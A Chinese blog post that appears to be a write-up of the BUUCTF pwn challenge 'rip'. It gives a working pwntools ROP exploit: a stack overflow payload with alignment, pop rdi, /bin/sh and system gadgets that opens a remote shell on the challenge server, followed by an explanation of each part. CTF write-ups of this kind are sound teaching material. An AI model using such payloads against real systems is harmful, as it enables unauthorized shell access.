buuctf pwn rip 1,rop解法

from pwn import *

io = remote('node4.buuoj.cn', 27175)
pop_rdi_ret=0x4011fb
bin_sh=0x40201b
syscall=0x401040
ret=0x401016
payload=b'a'*(0xf+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(syscall)
io.sendline(payload)
io.interactive()

这个解法有点复杂了,强行构造了一波rop。

以下讨论均基于64位程序,32位程序略有不同。

通过ida的栈结构视图可见主函数的栈帧(这个不一定准确) ,注意到第一个s长度为0xF,然后是长度为8的ebp,然后是返回地址r。

所以padding长度为0xF+8

p64(ret)是为了栈对齐,具体原理我也不懂,但是缺少这句是无法getshell 的。

p64(pop_rdi_ret)+,这句完成2个功能,一为rdi寄存器赋值,为调用system函数做参数准备,赋值内容为p64(bin_sh),二为ret到下一个要执行的函数(即劫持rip到下一个要执行的命令地址,这里是system),也就是p64(syscall)==system。通过ROPgadget可以找到pop_rdi_ret的地址。ROPgadget  --binary rip --only 'pop|ret'

**pop rdi后程序会紧接着执行ret,ret的就相当于pop rip,从栈的栈顶取出数据并给rip赋值,而rip决定程序下一步执行哪条命令

p64(bin_sh)+,字符串地址,通过ida的shift+f12可以找到

p64(syscall),system函数地址,通过ida的函数列表可以找到。成功执行system获取shell的前提操作是\bin\sh已作为参数赋值给RDI。

stack
高地址system_addresssystem函数地址
BIN_SH_address\bin\sh字符串地址
POP_RDI_RETRIP
padding,长度8(64位程序)RBP
低地址padding,长度0xF变量s

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值